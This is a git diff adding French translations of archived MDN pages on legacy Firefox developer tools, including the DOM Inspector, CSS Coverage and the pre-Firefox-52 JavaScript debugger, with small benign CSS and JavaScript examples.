Cette iverlay définit la plupart de la structure statique des menus dans le menubar, avec quelques exceptions. Pour des raisons évidentes, le contenu des menus dynamiques n’est pas défini ici. Les menus dynamiques comprennent les pop-up du menu Inspecter ("Inspect Content Document" et "Inspect Chrome Document") du menu fichier, et les menus "Document Viewer" et "Object Viewer" du menu View. La préférence menuitems dans le menu View qui affecte uniquement le viewer de noeuds DOM ("Blink Selected Element", etc..) sont ajouté par l'overlay de pop-up de ce viewer (resources/content/viewers/dom/popupOverlay.xul). C'est également vrai pour les menuitems Find et le menuitem "Select Element By Click" dans le menu Edit, car aucun viewer à part le viewer de noeuds DOM ne supporte ces features.

+ +

Les autres objets du menu Edit sont également utilisés dans plusieurs menus contextuels de viewers. Pour cette raison, seuls les id des menuitems sont référencés ici, et les difinitions complètes sont importées depuis editingOverlay.xul. Les viewers qui incluent un ou plus de ces menuitems dans leu contexte suivent la même pratique.

+ +

Le tooltip utilisé pour les menus Inspect—Celui utilisé pour afficher le titre d'un document et son URI pour un menuitme donné--est également défini ici.

+
+
commandOverlay.xul
+
Les menuitems fournis par popupOverlay.xul qui délèguent à des éléments de command externe ont leurs commandes définies ici.
+
keysetOverlay.xul
+
Certains menutimes fournis par popupOverlay.xul ont leurs keys définis ici. Au moment présent, toutes les clés qui correspondent aux objets du menu Edit sont dans editingOverlay sans aucune bonne raison.
+
statusbarOverlay.xul
+
Ce fichier définit le contenu de la barre de statuts de l'Inspecteur DOM. L'Inspecteur DOM n'ayant pas de barre de statut, ce fichier est complètement inutile.
+
diff --git a/files/fr/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html b/files/fr/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html new file mode 100644 index 0000000000..6e31978549 --- /dev/null +++ b/files/fr/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html @@ -0,0 +1,96 @@ +--- +title: Introduction à l'Inspecteur DOM +slug: Inspecteur_DOM/Introduction_to_DOM_Inspector +tags: + - DOM_Inspector +translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector +--- +
{{ToolsSidebar}}
+ +

L'Inspecteur DOM est une extension Mozilla qui est accéssible depuis le menu Tools > Web Development dans SeaMonkey, ou en sélectionant "DOM Inspector" depuis le menu Developpement web de Firefox ou Thunderbird. L'Inspecteur DOM est un programe standalone qui supporte toutes les applications toolkit, et il est également possible de l'inclure dans votre propre application XUL. L'Inspecteur DOM peut servir à vérifier la qualitée et l'état du DOM, ou peut être utilisé pour manipuler le DOM à la main si besoin est.

+ +
Note: Depuis Firefox 3, l'Inspecteur DOM n'est pas inclut par défaut dans Firefox. Il est alors nécessaire de le télécharger et de l’installer depuis le site des modules complémentaires de Mozilla. (Note lien mort)
+ +

Au lancement de l'Inspecteur DOM, une application à deux panneaux apparait. L'Inspecteur DOM possède une barre d'adresse, et quelques menus comme ceux de Firefox. Dans SeaMonkey, des menus globaux sont présents en plus.

+ +

domi.png

+ +

Inspecter un Document

+ +

Lors de l'ouverture de l'Inspecteur DOM, il est possible qu'un document associé ait été chargé. Cela dépend de l'application hôte. Si l'Inspecteur n'a pas automatiquement chargé un document ou a chargé un document différent de celui voulu, il existe plusieurs manières de sélectionner le document voulu.

+ +

Inspecter les Content Documents

+ +

L'option "Inspect Content Document" est accessible depuis le menu "File" et liste tous les content documents actuellement chargés. Dans les navigateurs Firefox et SeaMonkey, il s'agit des pages webs ouverts dans les onglets. Dans Thunderbird et SeaMonkey Mail and News, il s'agit des messages actuellement vus.domi-inspect-content-popup.png

+ +

Inspecter les Chrome Documents

+ +

L'option "Inspect Content Document" est accessible depuis le menu "File" , et liste toutes les fenêtres et sous documents chrome. Une fenêtre du navigateur et l'Inspecteur DOM ont de grandes chances d'être déjà affichés dans cette liste. L'inspecteur DOM garde la trace de toutes les fenêtres ouvertes. Ainsi pour inspecter le DOM d'une fenêtre en particulier, il suffit simplement accéder normalement à cette fenêtre puis de sélectionner son titre dans la liste mise à jour dynamiquement.

+ +

domi-inspect-chrome-popup.png

+ +

Inspecter arbitrairement des URLS

+ +

Il est également possible d'inspecter arbitrairement le DOM d'URLS en utilisant l'option "Inspect and URL", ou simplement en utilisant la barre d'adresse de L'inspecteur DOM. Par exemple, il est possible de rentrer dans cette barre l'url http://www.mozilla.org, d'appuyer sur entrée puis de voir la structure DOM de la page d'accueil de mozilla.org.

+ +

Il est extrêmement déconseillé d'utiliser cette approche pour inspecter des chrome documents. À la place, il faut s'assurer que le document se charge bien par les moyens normaux puis utiliser la méthode "Inspect Chrome Document".

+ +

domi-inspect-chrome-popup.png

+ +

Lors d'une inspection de page web via URL, un panneau navigateur affichant la page apparaitra en bas de l'Inspecteur DOM. Cela permet d'utiliser l'Inspecteur DOM sans avoir à utiliser un navigateur séparé et sans avoir à intégrer un navigateur dans votre application. Si le panneau navigateur prend trop place pour votre confort, il est possible de le fermer, mais alors, il sera impossible voir les conséquences de vos changements.

+ +

Utiliser l'Inspecteur DOM

+ +

Une fois que le document voulu est ouvert, il est possible de voir que l'Inspecteur DOM charge le viewer "Document - DOM nodes" panneau document et le viewer "Object - DOM Nodes" dans le panneau objet. Le panneau document affiche alors une vue structurée et hiérarchisée du DOM. En cliquant, dans le panneau document, le panneau Objet est automatiquement mis à jour pour afficher les informations du noeud actuellement sélectionné. Ces viewers sont dits viewers liés et sont un aspect important à avoir en tête lors de l'apprentissage de l'utilisation de l'Inspecteur DOM.

+ +

Les viewers de l'Inspecteur DOM

+ +

Il est à noter que les deux viewer précédemment mentionnés ne sont que deux viewers fournis par défaut. Il est possible d'utiliser d'autres viewers, mais pour l'instant, il convient de continuer à les décrire.

+ +

Le viewer de noeuds DOM dans le panneau document permet de chercher et de trouver et d'inspecter des noeuds DOM. Un des plus grands avantages que cela apporte au développement web, est qu'il est possible de trouver le markup et les noeuds dans lesquels la partie intéressante se trouve. Une utilisation ordinaire de l'Inspecteur DOM est de trouver le nom et la position d'une icône en particulier utilisée dans l'interface utilisateur. Dans le cas de l'inspection d'un chrome document, la sélection d'un noeud DOM dans le viewer, la version rendue de ce noeud est mise en surbrillance dans l'interface utilisateur elle-même. (Il est à noter qu'il existe des bugs qui empêche de le flasher de l'API de l'Inspecteur DOM de fonctionner correctement sur certaines plateformes) .

+ +

Par exemple lors de l'inspection de la fenêtre principale du navigateur et de la sélection d'un noeud dans le viewer (noeud possédant une UI visible), de nombreuses parties de l'interface du navigateur seront mises en surbrillance par une bordure rouge clignotante. Il est possible de rentrer dans cette structure pour trouver des noeuds plus spécifiques tels que l'icône du bouton de la barre recherche.

+ +

domi-edit-search-onclick.png

+ +

Une fois, un noeud sélectionné, il est possible de choisir n'importe lequel des viewers disponibles pour afficher les informations du noeud dans le panneau objet. Ces viewers sont tous disponibles dans la liste déroulante accessible depuis le bouton en haut à gauche du panneau objet :

+ +

domi-object-viewers.png

+ +

Dans le cas de la sélection d'une icône, pour trouver le nom du fichier utilisé, il est nécessaire de sélectionner le viewer "CSS Rules" et de chercher parmi les règles CSS, la règle qui définit l'image.

+ +

La liste des viewers disponible donne une idée des possibilités d'extensibilité de l'Inspecteur DOM. Les descriptions suivantes fournissent une vue d'ensemble des viewers disponibles :

+ +

Le viewer DOM Node affiche les informations du noeud sélectionné. Il permet également de modifier les attributs ou le contenu textuel du noeud.

+ +

Le viewer Box Model affiche des informations variées sur les éléments XUL et HTML, incluant le placement et la taille de ces éléments.

+ +

Le viewer XBL Bindings liste tous les bindings XBL attachés aux éléments.

+ +

Le viewer CSS Rules affiche les règles CSS appliquées au noeud sélectionné. Lors d'une utilisation conjointe avec le viewer Style Sheets, ce viewer liste toutes les règles reconnues de la style sheet sélectionné dans l'ordre. Les propriétés CSS peuvent être modifiées. Les règles s'appliquant aux pseudo-éléments n'apparaissent pas.

+ +

Le viewer JavaScript Object affiche un arbre hiérarchisé du sujet du panneau objet. Ce viewer permet également d'évaluer du JavaScript en sélectionnant l'option appropriée dans le menu contextuel.

+ +

Actions de base du viewer DOM Nodes

+ +

Sélectioner des éléments au clic

+ +

Une autre fonctionnalité interactive de l'Inspecteur DOm est que lorsque l'Inspecteur DOM est ouvert et que cette fonctionnalité a été activée en choisissant Edit > Select Element by Click ou en cliquant sur l'icône en forme de loupe dans le coin en haut à gauche de l'Inspecteur DOM, il est alors possible de cliquer n'importe ou dans la page et l'élément cliqué aura son noeud DOM correspondant dans L'Inspecteur sélectionné.

+ +

Chercher des noeuds dans le DOM

+ +

Une autre façon d'inspecter le DOM est de chercher un élément particulier via son ID, sa class ou un de ses attributs. Cliquer sur Edit > Find Nodes... ou utiliser le raccourci Ctrl + F, affichera une pop-up qui permet de rechercher de différentes manières.

+ +

domi-find-appcontent.png

+ +

Mettre à jour le DOM dynamiquement

+ +

Chaque noeud peut être édité, et le DOM sera mis à jour automatiquement. Les viewers dans le panneau objet permettent également de modifier le DOM. La plupart des modifications se font via les options du menu contextuel.

+ +

domi-edit-search-onclick.png

+ +

Cette interactivité permet par exemple de grossir/réduire la taille des éléments, changer des icônes, et plein d'autres choses. Tout cela sans avoir besoin de modifier les fichiers sources.

+ +

Aimer l'Inspecteur

+ +

L'Inspecteur DOM peut prendre du temps à prend en main, mais une fois maitrisé, vous viendrez peut être à penser que les fonctionnalités de l'Inspecteur sont exactement ce qui manquait au développement d'applications web. L'Inspecteur DOM ne fait pas que présenter des informations sur les pages de manière claire et structurée, il donner également la possibilité de chercher dans cette structure et de la mettre à jour dynamiquement. Utiliser l'Inspecteur DOM avec d'autres outils Mozilla comme Venkman, le JavaScript debugger et le DOM Inspector peut véritablement vous donner une vue complète de n'importe quelle page web ou application basée sur une interface DOM

diff --git a/files/fr/orphaned/tools/add-ons/index.html b/files/fr/orphaned/tools/add-ons/index.html new file mode 100644 index 0000000000..77d2801897 --- /dev/null +++ b/files/fr/orphaned/tools/add-ons/index.html @@ -0,0 +1,13 @@ +--- +title: Modules complémentaires +slug: Outils/Add-ons +translation_of: Tools/Add-ons +--- +
{{ToolsSidebar}}
+ +

Il s'agit des outils de développement qui ne sont pas directement intégrés à Firefox, mais disponibles en tant que module complémentaire.

+ +
+
WebSocket Monitor {{obsolete_inline}}
+
Permet d'examiner les données échangées via une connexion WebSocket. Ce module complémentaire n'est plus disponible car il nécessite des versions de Firefox trop anciennes. WebSocket Sniffer est une alternative, il n'est pas aussi détaillé mais peut aider.
+
diff --git a/files/fr/orphaned/tools/css_coverage/index.html b/files/fr/orphaned/tools/css_coverage/index.html new file mode 100644 index 0000000000..c02460ede0 --- /dev/null +++ b/files/fr/orphaned/tools/css_coverage/index.html @@ -0,0 +1,147 @@ +--- +title: CSS Coverage +slug: Outils/CSS_Coverage +translation_of: Tools/CSS_Coverage +--- +
{{ToolsSidebar}}
+ +
+

Cette fonctionnalité est expérimentale et n'est pas encore disponible dans Firefox.

+
+ +

Le CSS Coverage est un ensemble de commandes pour les outils de développement de Firefox qui aide à améliorer du CSS désordonné en mettant en évidence le CSS qui n'est pas "utilisé" et en indiquant les parties du fichier CSS nécessaires au rendu initial.

+ +

Cet outil est quelque peu expérimental, car la définition "d'utilisation" du CSS est compliquée. Ce guide a pour ambition d'expliquer comment cet outil fonctionne.

+ +

Cet outil est généralement utilisé de la façon suivante :

+ +
    +
  • Lancer le tracker de coverage ("csscoverage start")
    • +
  • Visiter un ensemble de pages représentatives du site web à analyser.
    • +
  • Arrêter le tracker ("csscoverage stop") et voir les règles non utilisées dans l'Éditeur de style.
    • +
  • Voir le rapport ("csscoverage report") contenant les règles qui pourraient être mis en ligne (in-lined) dans chaque page.
    • +
+ +

Une autre commande ("csscoverage oneshot") permet de lancer ("csscoverage start; csscoverage stop").

+ +

Que veut dire "utiliser" ?

+ +

TL;DR :

+ +

Le CSS coverage vérifie que le sélecteur tag#id.class dans l'exemple ci-dessous, existe dans un ensemble de pages web :

+ +
@media thing {
+  tag#id.class:hover {
+    foo: bar;
+  }
+}
+ +

Pourquoi ?

+ +

Supposons que le CSS possède ce genre de propriété :

+ +
<style>
+  span:hover {
+    color: purple;
+  }
+</style>
+
+<span>Test</span>
+
+ +

Si durant ce test, la souris n'est pas entrée dans le <span>, est-ce que la règle a été utilisée ?

+ +

Techniquement parlant, la règle span:hover n'a pas été utilisée dans le sens ou le mot "Test" n'a jamais été coloré en violet. Cependant, Le CSS coverage se concentre principalement à voir quelles règles sont pertinentes ou non pour la page. Dans ce cas, span:hover est visiblement pertinent pour la page.

+ +

Supposons également que le CSS possède ce genre de propriété :

+ +
<style>
+  @media tv {
+    span {
+      color: purple;
+    }
+  }
+</style>
+
+<span>Test</span>
+
+ +

Devrait-il être obligatoire de se connecter depuis une télévision pour mesurer la pertinence de cette règle ?

+ +

Mais "l'utilisation" n'est pas seulement une affaire de pertinence...
+ Est-ce que la règle suivante est pertinente ?

+ +
<style>
+  span { }
+</style>
+
+<span>Test</span>
+
+ +

Il est possible d'affirmer que cette règle n'est pas pertinente, car elle n'a pas d'effet sur la page et peut donc être retirée sans danger.

+ +

Cependant qu'en est-il du code suivant :

+ +
<style>
+  span {
+    -o-text-curl: minor;
+  }
+</style>
+
+<span>Test</span>
+
+ +

Savoir si cette règle est utilisée ou non requiert l'utilisation d'un moteur de recherche et des compétences analytiques, et peut être même des connaissances sur les versions des navigateurs supportés par le site. Ceci est donc considéré hors de portée de cet outil, du moins jusqu'à la singularité.

+ +

Cela explique également pourquoi la règle appliquée aux div dans l'exemple suivant est considéré comme "utilisée"

+ +
<style>
+  div { color: red; }
+  span { color: blue; }
+</style>
+
+<div><span>Test</span></div>
+
+ +

Il est possible d'affirmer que la règle div n'est pas utilisée puisqu'elle n'affecte pas le rendu final de la page. Cependant si l'on considère la définition alternative suivante :

+ +
<style>
+  div { color: red; border: none; }
+  span { color: blue; }
+</style>
+
+ +

Il est alors difficile de savoir si la règle de bordure est utilisée, et il existe beaucoup d'autres variations. L'opacité, la visibilité et les conversions de couleurs par exemple compliquent encore la définition "d'utilisation". Pour garder une définition simple, "utilisée" signifie que le sélecteur correspond ç au moins un élément.

+ +

Si une feuille de style incluse dans un test contient une règle qui ne s'applique que pour une page particulière qui n'a pas été visitée lors du Test, alors bien évidemment cette règle sera marquée comme "non-utilisée" malgré le fait qu'il existe des moments ou cette règle est utilisée. Il est donc recommandé de doubler les vérifications avant d'enlever des règles des fichiers CSS.

+ +

Avertissements

+ +

Il est à noter que :

+ +
    +
  • L'outil présume qu'une URL retourne le même ensemble d'octets chaque fois qu'elle référencée lors de la période de test.
    • +
  • Les feuilles de style alternatives ne sont pas traquées.
    • +
+ +

Bugs

+ +

La résolution de certains bugs importants est actuellement en travail :

+ +
    +
  • Les changements du CSSOM via JavaScript ne sont actuellement pas traqués. Cela inclu l'ajout de feuilles de styles. Voir le bug 1007533.
    • +
  • Le markup dans l'Éditeur de style est fait ligne par ligne et, les sources-maps ne sont pas encore supportées. En conséquence, l'analyse devient confuse si le test est réalisé sur du CSS compressé. Voir le bug 1007073.
    • +
  • Les informations @keyframe ne sont pas incluses dans le résumé de préchargement. Voir le bug 1034062.
    • +
+ +

 

+ +

Alternatives

+ +

Il y plusieurs autres outils qui peuvent vous aider à trouver du CSS inutilisé, sans avoir besoin d'utiliser Firefox.

+ +
    +
  • Unused CSS parcourt récursivement votre site pour détecter les sélecteurs inutilisés. Il s'agit d'un outil en ligne, gratuite et sans publicité.
    • +
  • PurifyCSS est un paquet NPM qui est utilisable comme un outil de console après son installation.
    • +
  • unused-css.com, un autre outil en ligne. Celui-ci n'est pas gratuit.
    • +
diff --git a/files/fr/orphaned/tools/debugger/limitations_of_the_new_debugger/index.html b/files/fr/orphaned/tools/debugger/limitations_of_the_new_debugger/index.html new file mode 100644 index 0000000000..939e3c2343 --- /dev/null +++ b/files/fr/orphaned/tools/debugger/limitations_of_the_new_debugger/index.html @@ -0,0 +1,19 @@ +--- +title: Limitations of the new debugger +slug: Outils/Débogueur/Limitations_of_the_new_debugger +translation_of: Tools/Debugger/Limitations_of_the_new_debugger +--- +
{{ToolsSidebar}}

À partir de la version 52, Firefox inclut un nouveau Débogueur. Celui-ci n'est actuellement activé par défaut que dans Firefox Nightly et Firefox Developer Edition. Le nouveau Débogueur est plus rapide et plus fiable que l'ancien. Il fournit également une base plus saine pour les futurs développements de l'outil.

+ +

Cependant, il ne possède pas encore toutes les fonctionnalités de l'ancien Débogueur. Cette page liste les fonctionnalités de l'ancienne version qui ne sont pas encore supportées.

+ +

Il est à noter que le support de la plupart de ces fonctionnalités sont prévues pour les prochaines versions. Cette page sera mise à jour en fonction de cela.

+ +

Si vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

+ +

Les fonctionalitées suivantes ne sont pas supportées par le nouveau Débogueur :

+ + diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/disable_breakpoints/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/disable_breakpoints/index.html new file mode 100644 index 0000000000..89a692e2ad --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/disable_breakpoints/index.html @@ -0,0 +1,24 @@ +--- +title: Désactiver des point d'arrêts +slug: Outils/Debugger_(before_Firefox_52)/Disable_breakpoints +translation_of: Tools/Debugger_(before_Firefox_52)/Disable_breakpoints +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Si vous utilisez Firefox 52 ou plus récent, et que vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

+ +

Pour désactiver un point d'arrêt, il suffit de décocher la case à cocher à coté du point d'arrêt dans le panneau de la liste des sources :

+ +

+ +

Une autre solution est d'activer le menu contextuel en effectuant un clic droit sur le point d'arrêt puis de cliquer sur "Désactiver le point d'arrêt".

+ +

Il est également possible de supprimer un point d’arrêt en cliquant simplement sur le cercle bleu représentant le point d'arrêt.

+ +

Pour activer/désactiver tout les points d'arrêt, il faut utiliser le bouton "Activer/Désactiver tout les points d'arrêt" dans le panneau de la liste des sources :

+ +

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html new file mode 100644 index 0000000000..4708b18950 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/access_debugging_in_add-ons/index.html @@ -0,0 +1,32 @@ +--- +title: Access debugging in add-ons +slug: Outils/Debugger_(before_Firefox_52)/How_to/Access_debugging_in_add-ons +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Access_debugging_in_add-ons +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +
+

Il est prévu de déprécier l'utilisation des techniques décrites dans ce document. Merci de ne pas développer de nouveaux modules complémentaires en utilisant ces techniques.

+
+ +

Les objets suivant sont accessibles dans le contexte de chrome://browser/content/debugger.xul (ou, en version beta 23,, chrome://browser/content/devtools/debugger.xul) :

+ +
    +
  • window.addEventListener("Debugger:EditorLoaded") - Appelé quand le panneau des scripts accessible en lecture seule est chargé
    • +
  • window.addEventListener("Debugger:EditorUnloaded")
    • +
+ +

Fichiers en relation :

+ +
    +
  • chrome://browser/content/devtools/debugger-controller.js
    • +
  • chrome://browser/content/devtools/debugger-toolbar.js
    • +
  • chrome://browser/content/devtools/debugger-view.js
    • +
  • chrome://browser/content/devtools/debugger-panes.js
    • +
+ +

Malheureusement, il n'y a pas encore d'API pour évaluer les expressions dans la portée du débogueur, ou pour mettre en surbrillance les éléments de la page qui sont référencés comme variables dans la portée déboguée. C'est actuellement un travail en cours, voir le bug 653545.

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html new file mode 100644 index 0000000000..7fa3206c04 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/black_box_a_source/index.html @@ -0,0 +1,28 @@ +--- +title: Mettre une source dans une boîte noire +slug: Outils/Debugger_(before_Firefox_52)/How_to/Black_box_a_source +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Black_box_a_source +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Dans le développement web moderne, il est courant de s'appuyer sur des bibliothèques tels que jQuery, Ember, ou Angular, et 99% du temps on peut supposer qu'elles fonctionnent parfaitement. On ne se soucie alors pas de l'implémentation interne de ces librairies : on les considère comme des boites noires. Cependant l'abstraction des bibliothèques « cède » lors des sessions de débogage lorsqu'on est forcé de passer par des piles d'appels utilisant la bibliothèque pour accéder à son propre code. Avec le système de boite noire, il est possible d'indiquer au débogueur d'ignorer les détails des sources sélectionnées.

+ +

Il est possible de mettre/enlever une source dans une boîte noire en sélectionnant la source dans le panneau de la liste des sources puis en cliquant sur l'icône en forme d'œil en bas à gauche :

+ +

+ +

Il est possible de placer plusieurs fichiers sources dans des boîtes noires en ouvrant la Barre de développement  et utilisant la commande   dbg blackbox :

+ +

+ +

Quand une source est mise dans une boîte noire :

+ +
    +
  • Tous les points d'arrêt concernant ce(s) fichier(s) sont désactivés.
    • +
  • Lorsque l'option « Pause sur les exceptions » dans les options du Débogueur est activée, le débogueur ne s'arrêtera pas lorsqu'une exception est levée par une source dans une boite noire. Dans ce cas, le débogueur attendra que la pile arrive à une frame dans une source qui n'est pas dans une boîte noire.
    • +
  • Lors d'un débogage pas à pas, le débogueur passera sans s'arrêter dans une source mis en boîte noire.
    • +
diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html new file mode 100644 index 0000000000..515a2df202 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/break_on_a_dom_event/index.html @@ -0,0 +1,22 @@ +--- +title: S’arrêter sur un évènement DOM +slug: Outils/Debugger_(before_Firefox_52)/How_to/Break_on_a_DOM_event +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Break_on_a_DOM_event +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Si vous écoutez un évènement DOM, Il est possible d'indiquer au débogueur de s'arrêter lorsque l'événement est lancé, sans avoir besoin de chercher l'écouteur et de mettre un point d'arrêt manuellement.

+ +

Il faut d’abord cliquer sur le bouton "Développer les panneaux" de la barre d'outils (juste à gauche des options). Cela ouvre le panneau partagé par les variables et les événements. Il faut ensuite cliquer sur l'onglet « Événements » cela affiche le panneau des événements. Ce panneau liste tout les évènements auxquels vous avez assigné un écouteur :

+ +

+ +

Il n'y a plus qu'a cocher à la case à coté de l'évènement ou vous désirez que votre code s’arrête.

+ +

Quand l'évènement est lancé, le code s’arrêtera au début de l'écouteur.

+ +

{{EmbedYouTube("f-tbR8kj0K0")}}

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html new file mode 100644 index 0000000000..421de55174 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/debug_eval_sources/index.html @@ -0,0 +1,36 @@ +--- +title: Debug eval sources +slug: Outils/Debugger_(before_Firefox_52)/How_to/Debug_eval_sources +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Debug_eval_sources +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Il est possible de déboguer du code JavaScript qui à été évalué dynamiquement, soit en étant passé sous forme de chaine de caractères à la fonction eval(), soit en étant passé sous forme de chaine caractère au constructeur d'une fonction.

+ +

Pour faire cela, il est nécessaire d'utiliser l'instruction //# sourceURL pour nommer la source :

+ +
var button = document.getElementById("clickme");
+button.addEventListener("click", evalFoo, false);
+
+var script = "function foo() {" +
+             "  console.log('foo a été appelée');" +
+             "}" +
+             "foo();//# sourceURL=mon-foo.js";
+
+function evalFoo() {
+  eval(script);
+}
+ +

Cela nome le script "mon-foo.js".

+ +

Une fois que la chaine a été évaluée, le script apparaitra dans le Débogueur comme une source séparée et sera entièrement débogable comme toutes les autres sources. Il sera également possible de l'afficher joliment :

+ +

{{EmbedYouTube("nFm8F8Anmic")}}

+ +

Le nom du script apparaitra également dans la pile d'exécution dans la Console Web.

+ +

Le Débogueur s’arrêtera également aux expressions debugger; dans les sources évaluées anonymes

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html new file mode 100644 index 0000000000..25f362b7a9 --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/disable_breakpoints/index.html @@ -0,0 +1,24 @@ +--- +title: Désactiver des point d'arrêts +slug: Outils/Debugger_(before_Firefox_52)/How_to/Disable_breakpoints +translation_of: Tools/Debugger_(before_Firefox_52)/How_to/Disable_breakpoints +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Si vous utilisez Firefox 52 ou plus récent, et que vous avez besoin d'utiliser l'ancien Débogueur, il faut changer la préférence "devtools.debugger.new-debugger-frontend" à false dans about:config (page du navigateur).

+ +

Pour désactiver un point d'arrêt, il suffit de décocher la case à cocher à coté du point d'arrêt dans le panneau de la liste des sources :

+ +

+ +

Une autre solution est d'activer le menu contextuel en effectuant un clic droit sur le point d'arrêt puis de cliquer sur "Désactiver le point d'arrêt".

+ +

Il est également possible de supprimer un point d’arrêt en cliquant simplement sur le cercle bleu représentant le point d'arrêt.

+ +

Pour activer/désactiver tout les points d'arrêt, il faut utiliser le bouton "Activer/Désactiver tout les points d'arrêt" dans le panneau de la liste des sources :

+ +

diff --git a/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html new file mode 100644 index 0000000000..d3ded1c55f --- /dev/null +++ b/files/fr/orphaned/tools/debugger_(before_firefox_52)/how_to/examine,_modify,_and_watch_variables/index.html @@ -0,0 +1,49 @@ +--- +title: 'Examiner, modifier, et espionner des variables' +slug: >- + Outils/Debugger_(before_Firefox_52)/How_to/Examine,_modify,_and_watch_variables +translation_of: 'Tools/Debugger_(before_Firefox_52)/How_to/Examine,_modify,_and_watch_variables' +--- +
{{ToolsSidebar}}
+

Cette page concerne le Débogueur JavaScript dans les versions antérieures à Firefox 52.

+ +

Voir la documentation pour les versions depuis Firefox 52.

+
+ +

Examiner des variables

+ +

Quand le code s'est arrêté sur un point d'arrêt, il est possible d'examiner ses variables grâce au panneau des variables du débogueur :

+ +

+ +

Les variables sont listées et triées selon leur portée : Dans la fonction ci-dessus, les variables intégrées arguments et this ainsi que les variables locales comme user et greeting seront visibles. Dans la portée globale, les variables globales qui ont été définies (greetme) et les variables globales intégrées (localStorage, console…) seront visibles.

+ +

Chaque objet peut être étendu pour voir son contenu en utilisant l'icône en forme de triangle.

+ +

Survoler le nom d'une variable affiche une infobulle qui fournit des informations complémentaires sur la variable. Se référer à Object.defineProperty() pour des détails sur la signification de ces termes.

+ +

Pour voir les propriétés des objets, il est possible d'utiliser le filtre de script avec le préfixe spécial "*" ou en utilisant la boite de filtrage des variables si vous l'avez activée dans les options du débogueur.

+ +

{{EmbedYouTube("dxCvnixpM_Q")}}

+ +

Si une variable existe dans la source, mais a été enlevé par le moteur JavaScript à la suite d'une optimisation. Alors cette variable est présente dans le panneau, mais sa valeur est égale à (optimized away),  et n'est pas modifiable. Dans la capture d’écran ci-dessous, la variable upvar a été optimisée :

+ +

+ +

Modifier des variables

+ +

Quand le code s'est arrêté à un point d'arrêt, il est possible de modifier les variables dans le panneau des variables du débogueur. Il suffit de cliquer sur la valeur actuelle d'une variable pour pouvoir la réécrire :

+ +

{{EmbedYouTube("FKG-jkvSpq8")}}

+ +

Espionner une expression

+ +

Les expressions espionnes sont des expressions qui sont évaluées à chaque fois que l'exécution s'arrête. Il est alors possible d'examiner le résultat de ces expressions. C'est utile dans la mesure où cela permet d'inspecter des éléments invariants dans votre code que vous savez être présents, mais qui ne sont pas nécessairement prêts pour une inspection.

+ +

Pour ajouter une expression espionne, il faut cliquer sur la boite "ajouter une expression espionne" puis entrer l'expression JavaScript que vous souhaitez surveiller en parcourant votre code.

+ +

Il ne reste plus qu'à faire tourner votre code. L'expression espionne ne fait rien tant que le code n'est pas arrêté à un point d'arrêt. Quand le code est arrêté, les expressions espionnes sont activées et leur valeur apparaitra alors :

+ +

{{EmbedYouTube("CwGU-5wKRw0")}}

+ +

À chaque changement de la valeur de l'expression espionne, sa boite sera brièvement affichée en surbrillance jaune. Il est possible de supprimer une expression espionne en cliquant sur l'icône en forme de croix à côté. Bien sûr, il est également possible d'avoir plus d'une seule expression espionne à la fois.

